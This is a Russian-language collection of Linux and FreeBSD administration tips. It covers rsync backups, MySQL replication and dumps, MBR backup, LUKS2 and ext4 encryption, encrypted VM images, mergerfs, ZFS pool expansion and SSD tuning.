       find /snapshot/backup_snap/ -type d -maxdepth 1 -mtime +30 -exec rm -rf {} \;
    
     
    ----* Полезные рецепты при работе с rsync   [комментарии]
     
    1. Если копируемая директория заканчивается слэшем, то файлы будут скопированы 
    в каталог назначения относительно корня изначально заданной директории. Пример:
       rsync -a /dir1/dir2 /dir3 - будет создана иерархия /dir3/dir2/файлы
       rsync -a /dir1/dir2/ /dir3 - будет создана иерархия /dir3/файлы
    
    
    2. При транзитном переносе файлов через дополнительную машину не нужно забывать, 
    что опция "-a" подразумевает трансляцию имен пользователей и групп в локальные uid/gid, 
    т.е. скопировав данные с первой машины на вторую,  а потом со второй на локально подключенный 
    жесткий диск, предназначенный для третьей машины, получим на третьей машины совершенно иных 
    владельцев каталогов и файлов. Не тех которые были в /etc/password первой машины, 
    а тех, которые в данным момент в /etc/password второй машины (изменятся типовые пользователи, 
    например, web, ftp, dhcp, номера uid/gid  которых отличаются на двух машинах). 
    Чтобы этого не произошло нужно использовать опцию "--numeric-ids".
    
    3. Особенности задания файлов исключений ("--exclude-from=файл" или " --exclude
    маска1  --exclude маска2").
    
    
    Для того чтобы исключить из бэкапа содержимое директории, но саму директорию оставить, 
    нужно указать в "exclude" файле "/dir/*", а не  "/dir/" 
    (под "/dir" подпадет и /dir123, и файл /dir.txt, для директорий указание "/" в конце обязательно).
    
    Звездочка ("*") в шаблоне действует только на имя файла/каталога, чтобы маской охватывалась 
    часть пути, включая "/", нужно писать "**".
    
    Шаблон не начинающийся с '/' проверяется с конца строки. Например "/dir/test" будет 
    проверен c начала пути, а "dir/test.txt" или "*.log" с конца.
      
    Если необходимо исключить все поддиректории в /dir, кроме /dir/best, в список
    исключений нужно поместить:
       + /dir/best/
       - /dir/*
    При переборе содержимого "exclude" файла, срабатывает первое правило под
    которое подпадает текущий путь,
    не важно исключающие или нет. В качестве корня выступает директория назначения, 
    т.е. "/" в "exclude" файле = "/dir3/dir2" или "/dir3" из первого совета.
    
    
    4. Запрещение двойного сжатия при передаче данных по SSH.
    rsync при задании опции "-z" более оптимально сжимает передаваемые данные, 
    поэтому сжатие средствами ssh можно отключить:
    
       export RSYNC_RSH="ssh -c arcfour -o Compression=no -x"
       rsync -a -z -v --bwlimit=16 /dir1 /dir2 user@test.ru:/dir3/
    
    где, --bwlimit=16 ограничивает пропускную способность при копировании бэкапа в 16 Кбайт в сек.
    
    5. Изменение уровня точности при сравнении локального и удаленного времени модификации файлов. 
    Например, для того чтобы считать идентичными файлы время модификации которых отличается 
    на 1 секунду необходимо указать: "--modify-window=1".
    
    6. Пример сохранения истории изменения данных. При этом старые измененные или удаленные 
    файлы не теряются а перемещаются в директорию /snapshot/дата.
    
       #!/bin/sh
       snapshot_dir="/snapshot/`date \\+\\%Y_\\%m_\\%d`"
       mkdir $snapshot_dir 
       rsync -a -v --delete --max-delete=1000 --hard-links \\
         --delete-excluded --exclude-from=/etc/rsync_backup.exclude \\
         --backup --backup-dir=$snapshot_dir \\
         / /backup
    
        RETCODE=$?
        if [ $RETCODE -ne 0 ]; then
            echo "Err code=$RETCODE"| mail -s "FATAL RSYNC BACKUP" admin@test.ru
        fi
        echo RET: $RETCODE
        /bin/chmod 0700 /backup
        /bin/chmod 0700 /snapshot
    
    7. Некоторые полезные опции.
    
       -v - говорливость, выводит имена обрабатываемых файлов;
    
       -a - работа в режиме архивирования, сохраняются права доступа и информация о владельцах;
    
       -H - сохранять жесткие ссылки, оставляя их на другом конце бэкапа;
    
       -x - не выходить за пределы текущей точки монтирования;
    
       --progress - показывать сколько процентов осталось до завершения и скорость передачи;
    
       --delete - удалять из бэкапа файлы, которых уже нет на стороне источника.
          --delete отличается от --delete-after тем, что удаление производится вначале, 
          а не на завершающей стадии процесса бэкапа. --delete-after работает быстрее, 
          так как не требует лишней стадии обхода списка файлов, но требует использования опции --force 
          для обработки таких ситуаций как удаление файла и появление диретории с тем же именем;
    
       --delete-excluded - удалять части которые уже есть на стороне бэкапа, но появились в списке исключения;
    
       -n - режим тестирования, реально никаких действий по копированию не производится, только эмуляция;
    
       -c - использование сверки по контрольным суммам, а не по времени изменения и размеру;
    
       --compare-dest=DIR - сохранять новые и измененные файлы в отдельной директории, 
          не трогая на время копирования основную директорию назначения, в конце - разом, 
          путем переименования, обновить содержимое бэкапа;
    
       --link-dest=DIR - использовать жесткие ссылки на файлы в DIR, например, для создания подобия снапшотов;
    
       --ignore-errors - продолжать копирование и удаление после появления ошибок;
    
       --max-delete - ограничение максимально числа удаляемых за один раз файлов и каталогов;
    
       -A - сохранять не только права доступа, но и ACL;
    
       --files-from=FILE - задать список директорий и файлов для бэкапа в файле;
    
     
    ----* Синхронизация файлов и содержимого БД MySQL на резервный сервер (доп. ссылка 1)   Автор: neiro  [комментарии]
     
    Есть два сервера под Linux/FreeBSD: СУБД MySQL + некое приложение,
    задача - синхронизировать БД и данные.
    
    За синхронизацию данных MySQL отвечает mysql replication, данные
    синхронизируются с мастера на слейв.
    
    Делаем на мастере:
    
    в my.cnf добавляем строки
    
       log-bin = /var/log/mysql/mysql-bin.log
       binlog-do-db=databasename
       server-id=1
    
    перезагружаем MySQL, добавляем пользователя для репликации:
    
       GRANT ALL PRIVILEGES ON databasename.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
       FLUSH PRIVILEGES;
    
    далее выполняем команду:
    
       USE databasename;
       FLUSH TABLES WITH READ LOCK;
       SHOW MASTER STATUS;
    
    и вывод этой команды для нас важен, надо его куда-нибудь записать:
    
       | File | Position | Binlog_do_db | Binlog_ignore_db |
       | mysql-bin.001 | 10 | databasename | |
    
    теперь делаем дамп базы:
    
       mysqldump -u slave_user -pslave_password --opt databasename > databasename.dump
    
    и наконец убираем лок с базы в MySQL:
    
       UNLOCK TABLES;
    
    
    Теперь на слейве:
    
    Создаём базу:
    
       mysqladmin create databasename -p
    
    Востанавливаем базу из дампа:
    
       mysql -u slave_user -pslave_password databasename < databasename.dump
    
    в my.cnf добавляем строки:
    
       server-id=2
       master-host=XX.XX.XX.XX # IP адрес мастер-сервера
       master-user=slave_user
       master-password=slave_password
       master-connect-retry=60
       replicate-do-db=databasename
    
    перегружаем MySQL и добавляем чудесные данные из волшебной комманды:
    
       SLAVE STOP;
       CHANGE MASTER TO MASTER_HOST='XX.XX.XX.XX',
         MASTER_USER='slave_user', MASTER_PASSWORD='slave_password',
         MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=10;
       START SLAVE;
    
    готово, теперь проверяем, добавляем запись в мастер, на слейве она должны отреплицироваться.
    
    Понятно, что изменять данные можно только на мастере, слейв работает только на чтение.
    
    
    Для синхронизации данных имеет смысл использовать rsync, очень интересный протокол/приложение. 
    Может синхронизировать инкрементально и с сжатием.
    На мастер сервере в rsyncd.conf добавляем:
    
       read only = yes # во избежание ;-)
       hosts allow = YY.YY.YY.YY # IP адрес слэйв-сервера
       [somelabel]
       path = /path/to/apllication/folder # где лежит приложение
       auth users = replica_user # юзер только для репликации в rsync, не системный пользователь
       secrets file = /path/to/rsync/rsync.secret # где лежит файл с паролем для replica_user, 
                                                  # только пароль и ничего больше
    
    на слейве - команда для синхронизации, можно добавить в cron с нужной периодичностью:
    
       /path/to/rsync -avz --exclude-from=/path/to/rsync.exclude \
         --password-file /path/to/rsync.secret \
         rsync://replica_user@XX.XX.XX.XX:873/somelabel /path/to/application
    
    где:
    rsync.exclude - файл в котором перечислены, какие файлы (конкретно или по
    маске) не синхронизировать
    rsync.secret - файл с секретным паролем для replica_user
    ХХ.ХХ.ХХ.ХХ - IP мастер-сервера, 873 - дефолтный порт для демона
    somelabel - метка из rsyncd.conf с мастера
    /path/to/application - путь куда класть данные.
    
     
    ----* Бэкап больших MyISAM таблиц без длительной блокировки в MySQL (доп. ссылка 1)   Автор: jabrusli  [комментарии]
     
    mysqldump лочит таблицы на запись и во время дампа база фактически простаивает.
    Решения:
    
    1. Репликация и бэкап со слейва;
    
    2. mysqlhotcopy,  делает "read lock" на и копируются файлы баз, т.е.:
    
        FLUSH TABLES WITH READ LOCK;
        // копировать файлы MyISAM таблиц
        UNLOCK TABLES;
    
    FLUSH TABLES WITH READ LOCK может занять много времени т.к. он будет ждать
    окончания выполнений всех запущенных запросов.
    
    3. Минимизация блокировки через использование снапшотов ФС:
       FLUSH TABLES WITH READ LOCK;
       Делаем снэпшот ФС, где лежат базы мускула
       UNLOCK TABLES;
       Копируем директории с базой или отдельные таблицы
       Отцепляем снэпшот
    
    Скрипт для Linux (использует LVM снапшот): http://lenz.homelinux.org/mylvmbackup/
    Cкрипт для FreeBSD:
       (echo "FLUSH TABLES WITH READ LOCK;"; echo "\! ${MOUNT} -u -o snapshot /${SNAPPART}/.snap/backup /${SNAPPART}"; echo "UNLOCK TABLES;" ) |
        ${MYSQL} --user=root --password=`${CAT} ${MYSQLROOTPW}`
    
     
    ----* Как получить информацию о разделах диска для бэкапа   [комментарии]
     
    Linux:
       fdisk -l /dev/hda > partitions.txt
       cat /proc/partitions
    
    BSD:
       disklabel da0s1 > partitions.txt
       Для восстановления или клонирования: 
          fdisk -BI -v -b /boot/mbr da1 # Слайс на весь диск.
          disklabel -R -B -r da1s1 partitions.txt
       Параметры FS, без ее реального создания можно посмотреть через:
          newfs -N /dev/da0s1e
       Для визуального создания или редактирования разделов удобно
       использовать /stand/sysinstall (Configure/Fdisk иди Label),
       в качестве точки монтирования не забыть добавить перед именем "/mnt"
       и создать директорию для монтирования.
       
    
     
    ----* Как сделать бэкап таблицы разделов диска   [обсудить]
     
    Бэкап MBR:
        dd if=/dev/hda of=mbr_backup.bin bs=1 count=512
    
    Для восстановления всего MBR поменять if/of местами.
    
    Таблица разделов находится в MBR по смещению 0x01BE (446) и состоит
    из 4 записей по 16 байт.
    
    Для восстановления только таблицы разделов:
        dd  if=mbr_backup.bin  of=/dev/устройство  bs=1 count=64 skip=446 seek=446
    
     
    ----* Полный бэкап на дополнительный диск при помощи rsync (доп. ссылка 1)   [комментарии]
     
    Резервный диск монтируем как /backup в read-only режиме.
    По крону еженощно запускаем скрипт следующего содержания:
       /sbin/mount -u -w /backup # пепреводим раздел в rw режим, mount "-o remount,rw /backup" для Linux
       /usr/bin/rsync -a --delete --delete-excluded --max-delete=200 \
          --exclude-from=/etc/ex_files_list.txt / /backup
       RETCODE=$?
       if [ $RETCODE -ne 0 ]; then
          echo "Err code=$RETCODE"| mail -s "RSYNC BACKUP ERROR" alert@test.ru
       fi
       /sbin/mount -u -r /backup # раздел обратно в ro, mount "-o remount,ro /backup" для Linux
    
    Если backup-диск большой, лучше вести две полные копии, на случай краха во
    время бэкапа (или см. опцию --backup);
    
    При бэкапе на другой сервер:
       rsync [...опции как выше] --compress --bwlimit=100 --timeout=120 \
          -e ssh source/ login@backuphost:/backup/node1
    
    Список файлов для исключения из бэкапа (ex_files_list.txt):
       /backup
       /mnt
       /proc
       /tmp
       /var/log
       /usr/obj
       /usr/src
       /usr/tmp
       /usr/ports
       /usr/local/apache/logs
    
     
    ----* Как лучше бэкапить данные баз в PostgreSQL   [обсудить]
     
    Полный бэкап всех баз:
      pg_dumpall [-s] [-D] > backup_file
    Выборочный бэкап:
      pg_dump [-s] [-D] [-t table] db > backup_file        
    -s - записывается только информация о структуре базы, без данных.
    -D - формируется бэкап данных в виде INSERT команд.
    -t table - бэкап выборочных таблиц.
    
     
    ----* Советы по бэкапу данных в MySQL   [комментарии]
     
    Бэкап структуры:
        mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] \
        --password=password --user=user [база]  [таблицы] > backup_file
    ( -c - формировать в виде полных INSERT.
     --all-databases - бэкап всех баз,  --no-data - бэкап только структуры таблиц в базах,  [таблицы]  - бэкапить только указанные таблицы.)
    Восстановление:   mysql < backupfile
    (для прямой вставки из текстового файла можно воспользоваться mysqlimport)
    (для анализа структуры базы, например, списка таблиц: mysqlshow <база>)
    
     
    ----* Как 1 в 1 скопировать файловую систему.   [комментарии]
     
    Копируем /usr в текущую директорию: dump -0u -f - /usr | restore -r -f -
    Для полного бэкапа /usr на ленту: dump -0u -f /dev/st0 /usr
    
     

       Файловые системы

    ----* Перевод шифрованного раздела на LUKS2 и более надёжную функцию формирования ключа (доп. ссылка 1)   [комментарии]
     
    В шифрованных разделах LUKS1 в качестве функции формирования ключа (KDF, Key
    Derivation Function) на основе заданного пользователем пароля применяется
    функция PBKDF2, не обеспечивающая должную стойкость от подбора с использованием
    GPU. В LUKS2 в качестве KDF появилась возможность использования гибридной хэш-функции
    argon2id, которая помимо потребления
    вычислительных ресурсов, затрудняет распараллеливание и требует значительного
    объёма памяти.
    
    Например, подбор KDF-функции PBKDF2, рассчитанной на потребление CPU,  может
    эффективно распараллеливаться на GPU Geforce 4090 c 16384 вычислительными
    блоками, но в случае применения argon2id подбор упирается в размер видеопамяти
    (при потреблении 1 ГБ на каждую операцию подбора, на GPU с 24 ГБ памяти можно
    обеспечить лишь подбор в 24 параллельных потока).
    
    Переключение с LUKS1 на LUKS2 с  argon2id.
    
    Определяем на каком устройстве находится шифрованный раздел:
    
       lsblk
    
       ...
       └─nvme0n1p3    259:3    0 474,8G  0 part  
         └─nvme0n1p3_crypt
                      253:0    0 474,8G  0 crypt 
           ├─vgubuntu--mate-root
           │          253:1    0 473,8G  0 lvm   /var/snap/firefox/common/host-hunspell
           │                                     /
           └─vgubuntu--mate-swap_1
                      253:2    0   980M  0 lvm   [SWAP]
    
    Сохраняем резервную копию заголовка LUKS и затем копируем на внешний носитель,
    чтобы иметь возможность восстановить состояние.
    
       sudo cryptsetup luksHeaderBackup /dev/nvme0n1p3 --header-backup-file /tmp/luksheader
    
    
    Проверяем версию LUKS:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:    1
       ...
       PBKDF:      pbkdf2
    
    Если версия 1, то необходимо обновить заголовок до LUKS2.
    
       sudo cryptsetup convert /dev/nvme0n1p3 --type luks2
    
    Проверяем, что с новым заголовком система по-прежнему грузится и если возникли
    проблемы восстанавливаем старый заголовок командой
    
       sudo cryptsetup luksHeaderRestore /dev/nvme0n1p3 --header-backup-file путь_к_скопированному_luksheader
    
    Ещё раз выполняем cryptsetup luksDump и проверяем алгоритм в секции Keyslots,
    если указано "pbkdf2" или "argon2i" следует обновить его до
    "argon2id":
    
       sudo cryptsetup luksConvertKey /dev/nvme0n1p3 --pbkdf argon2id
    
    Проверяем результат:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:       	2
       ...
       Keyslots:
         0: luks2
            ...
            PBKDF:      argon2id
            ...
    
        0: luks2
            ...
            PBKDF:      argon2id
            ...
    
     
    ----* Шифрование данных на существующем разделе ext4 без его переформатирования (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Можно отметить два основных способа организации шифрования данных в уже
    существующей файловой системе Ext4, не требующие пересоздания раздела с
    переносом данных из резервной копии. Первый способ заключается в использовании
    встроенных в Ext4 возможностей по шифрованию отдельных каталогов, а второй в
    использовании команды "cryptsetup reencrypt" для прозрачного переноса ФС на
    новый шифрованный раздел LUKS. В любом случае создание полной резервной копии
    перед выполнением предложенных манипуляций обязательно.
    
    Первый способ наиболее простой и безопасный, но он ограничен использованием
    отдельных шифрованных каталогов, в которые можно перенести конфиденциальные
    данные, требующие защиты. Шифрование в Ext4 поддерживается при использовании
    как минимум ядра Linux 4.1 и утилит 2fsprogs 1.43.
    
    Выставляем в суперблоке раздела  c ФС ext4 флаг поддержки шифрования (в нашем случае /dev/sda1):
    
        sudo tune2fs -O encrypt /dev/sda1
    
    Создаём каталог, в котором будут храниться зашифрованные данные текущего пользователя:
    
        mkdir -p /secret/home/user
      
    Генерируем случайную salt-последовательность для последующего шифрования и
    сохраняем её в отдельный файл:
    
        echo 0x`head -c 16 /dev/urandom | xxd -p` > /home/user/.crypt_salt
     
    
    Создаём на базе данной salt-последовательности ключ для шифрования, указав для него пароль:
    
        e4crypt add_key -S /home/user/.crypt_salt
    
        Enter passphrase (echo disabled):
        Added key with descriptor [f467134ca2c48c33]
    
    Проверяем добавление ключа командой "keyctl show", которая поставляется в пакете keyutils.
    
      
    Активируем шифрование для каталога /secret/home/user, указав выданный идентификатор ключа:
    
        e4crypt set_policy f467134ca2c48c33 /secret/home/user
    
    Если после перезагрузки попытаться обратится к каталогу /secret/home/user без
    добавления ключа командой "e4crypt add_key", его содержимое будет показано в
    зашифрованном виде. Для расшифровки каталога при каждой загрузке необходимо
    настроить повторный вызов команды add_key для привязки ключа.
       
       e4crypt add_key -S /home/user/.crypt_salt
    
       Enter passphrase (echo disabled):
       Added key with descriptor [f467134ca2c48c33]
    
    Для просмотра привязанного к каталогу ключа можно использовать команду
    
       e4crypt get_policy /secret/home/user
    
    
    
    В случае необходимости шифрования всего содержимого можно использовать LUKS
    cryptsetup для шифрования имеющегося раздела без потери данных.
    
    Отмонтируем шифруемый раздел (при изменении корневого раздела нужно загрузиться
    с отдельного live-дистрибутива), проверяем целостность ФС и уменьшаем размер ФС
    для того, чтобы разместить заголвки LUKS на диске (в ФС должно быть достаточно
    свободного места):
    
       e2fsck -f /dev/sda4
       resize2fs /dev/sda4 размер_меньше_текущего_на_32МБ
    
    Шифруем содержимое имеющегося раздела без потери информации:
       
       cryptsetup reencrypt --encrypt /dev/sda4 --reduce-device-size 32M
       
    Открываем раздел:
    
       cryptsetup open /dev/sdXY home
      
    Увеличиваем размер ФС до свободной границы
    
       resize2fs /dev/mapper/home
    
    Монтируем раздел:
       
        mount /dev/mapper/home /mnt/home
    
    Смотрим UUID:
    
       blkid /dev/mapper/home 
    
    Добавляем информацию о разделе в /etc/crypttab
    
       home UUID=UUID_устройства_LUKS none
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Логическое объединение нескольких файловых систем при помощи mergerfs (доп. ссылка 1)   [комментарии]
     
    FUSE-модуль Mergerfs позволяет логически объединить несколько файловых
    систем в одну, например, для объединения разнесённых на разные диски коллекции
    видео или музыки в одну иерархию.
    
    
    В отличие от aufs и overlayfs в mergerfs не создаётся отдельного слоя для
    записи и данная ФС не может применяться поверх разделов, доступных в режиме
    только для чтения. Но mergerfs даёт возможность прямой записи в
    примонтированный раздел в соответствии с заданной политикой, например, запись
    может осуществляться в ФС, в которой больше свободного места. Также можно
    включить в один сводный раздел ФС, доступную на запись, и ФС только для чтения.
    В такой конфигурации операции записи будут производиться в разделе, который
    допускает запись.
    
    Среди особенностей mergerfs:  настройка поведения размещения новых файлов,
    работа в пространстве пользователей через FUSE,  поддержка расширенных
    атрибутов (xattrs) и смены атрибутов chattr, работа с различными ФС, поддержка
    POSIX ACL.
    
    Проектом собираются пакеты для Fedora, Debian и Ubuntu.
    
    Устанавливаем mergerfs в Fedora 31:
    
       wget https://github.com/trapexit/mergerfs/releases/download/2.29.0/mergerfs-2.29.0-1.fc31.x86_64.rpm
    
       sudo dnf install mergerfs-2.29.0-1.fc31.x86_64.rpm
    
    
    Допустим, в системе есть два раздела /disk1 и /disk2, на которых имеются  каталоги с видео:
    
       $ df -hT | grep disk
       /dev/sdb1      ext4      23M  386K 21M 2% /disk1
       /dev/sdc1      ext4      44M  1.1M 40M 3% /disk2
    
       $ ls -l /disk1/Videos/
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 2
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
    
    
    Создадим логический раздел /media, который будет включать в себя как  /disk1, так и /disk2:
    
       $ sudo mergerfs -o defaults,allow_other,use_ino,category.create=mfs,moveonenospc=true,minfreespace=1M /disk1:/disk2 /media
    
    где
    
        defaults - применение настроек по умолчанию
        allow_other - возможность доступа непривилегированных пользователей, а не только root
        use_ino - манипуляция исходными inode вместо libfuse для того, чтобы связанные файлы имели одинаковые inode.
        category.create=mfs - распределение новых файлов в зависимости от доступного свободного пространства.
        moveonenospc=true - в случае сбоя записи искать раздел с большим свободным местом.
        minfreespace=1M - минимальное свободное место для записи.
        disk1 - первый подключаемый раздел
        disk2 - второй подключаемый раздел
        /media - точка монтирования
    
    
    После монтирования получим:
    
       $ df -hT | grep media 
       1:2        fuse.mergerfs  66M      1.4M 60M 3% /media 
    
    
    Если скопировать в /media/Videos/ большой новый файл, для которого не хватает
    места в /disk1, но который вмещается в /disk2, то это файл будет размещён в
    разделе /disk2. Разделы /disk1 и /disk2 после монтирования остаются доступны
    для любых операций, /media объединяет их лишь логически.
    
       $ ls -lh file4.mkv
       -rw-rw-r--. 1 curt curt 30M Apr 20 08:45 file4.mkv
    
       $ cp file4.mkv /media/Videos/
    
    
       $ ls -l /disk1/Videos/ 
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 30003
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
       $ ls -l /media/Videos/
       total 30004
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file2.mkv
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
     
    ----* Обход проблем при расширении хранилища ZFS в Linux   Автор: пох  [комментарии]
     
    Внезапное открытие - прекрасная ZFS в прекрасной Ubuntu LTS имеет некоторые
    проблемы с банальным увеличением vdev.
    
    Если у вас жила-была (такая) система с zfs'ом, тихонько подползала к
    пресловутым 80% заполнения, и вы решили добавить ей места, памятуя о легкости
    необычайной и безопасности выполнения в ней таких вещей, вас ждет малоприятный сюрприз.
    
    Добавляем ценный ресурс к LUN, хранилище рапортует ок, радостно видим что ядро
    линукса подхватило новую информацию (у меня это произошло даже без
    необходимости дергать вручную /sys/гдетамоно/sdчтото/гдетотамеще/rescan) и...
    и.... и ничего.
    
    Если это случилось: 
    
       zpool set autoexpand=on <pool>
       zpool online -e <pool> <sd?>
    
    Эта команда не принесёт  успеха, но поменяет gpt метку - что вы должны 
    увидеть, запустив fdisk до и после - если этого не происходит, ядро у вас не
    увидело увеличения устройства, запустите rescan ещё раз.
    
    Теперь у нас хотя бы физический диск действительно занимает весь нововыделенный объем.
    
       reboot # без него ничего не получится
    
    Нет, все ещё счастья не воспоследовало, но!
    
       zpool list 
    
    Показывает нечто, отличное от прочерка в графе EXPANDSZ! Победа.
    Btw, наличие этой графы в выводе zpool как раз признак версии, где проблема еще/уже не исправлена
    
       zpool online -e <pool> <sd?> # еще раз!
    
    Теперь list должен показать, что счастье настало, а zfs list - соответственно,
    что приросли и сами fs на этом пуле
    
    Не правда ли, сущая ерунда по сравнению со сложнейшей командой resize2fs ?!
    
    
    Долгое гугление приводит к обнаружению треда 2016(!) года о том как
    разработчики в очередной раз сами себе наступили на ногу, открыв устройство с
    O_EXCL и не сумев параллельно в нем покопаться из другого процесса, но не
    извольте беспокоиться, все уже переписали и закоммитил лично Бехлендорф
    (гуглите, в короткой статье нет места описанию этих ужасов - а то что там
    поназакоммичено ужас кромешный и есть) - но то ли не в ту версию что у ubuntu
    18.04, то ли недостаточно хорошо закоммичено.
    
    Еще более тщательное гугление приводит к паре статей на stack, где автор
    "двадцать раз поперезагружался, подергал какие-то команды, хистори лог в
    терминале сохранил"...но постеснялся его выложить. К счастью, я не настолько
    стеснителен, и к тому же проверял результат. Надеюсь, кому-то следующему
    повезет не потерять на это лишних полчаса.
    
     
    ----* Оптимизация использования SSD-накопителя во FreeBSD 9.0   Автор: ixes  [комментарии]
     
    Ниже собраны рекомендации по оптимизации работы SSD-накопителя во FreeBSD 9.0,
    которые удалось найти в Сети.
    
    Процесс установки и оптимизации под 4k блоки со сдвигом кратный 8, описывать не
    буду так как FreeBSD 9.0 cам все это делает (если установка выполнялась в
    автоматическом режиме).
    
    После установки необходимо включить поддержку TRIM, для этого следует выполнить
    (диск должен быть отмонтирован  - загрузись с LiveCD):
    
       tunefs -t enable /dev/adaxxx
    
    Отключение журналирования (может быть чревато более длительным временем
    проверки целостности ФС, если некорректно завершить работу, нажать reset, или
    если свет отключат  - пользуйтесь бесперебойником):
    
       tunefs -J disable /dev/adaxxx
       tunefs -n disable /dev/adaxxx
       tunefs -j disable /dev/adaxxx
    
    Посмотреть состояние флагов раздела можно командой:
    
       tunefs -p /dev/adaxxx
    
    Отключение лишних обновлений метаданных (noatime) и использование tmpfs для
    временных разделов и логов в /etc/fstab:
    
       /dev/adaxxx        /        ufs    rw,noatime    1    1
       tmpfs            /tmp        tmpfs    rw        0    0
       tmpfs            /var/run    tmpfs    rw        0    0
       tmpfs            /var/spool    tmpfs    rw        0    0
       tmpfs            /var/log    tmpfs    rw        0    0
    
    Перед добавлением убедитесь, что /var/spool, /var/log и /var/run  не содержит
    того, что может потребоваться между перезагрузками.
    
    Вариант настройки через /etc/rc.conf:
    
       tmpmfs="YES"
       tmpsize="20m"
       tmpmfs_flags="-S"
       varmfs="YES"
       varsize="32m"
       varmfs_flags="-S"
       populate_var="YES"
    
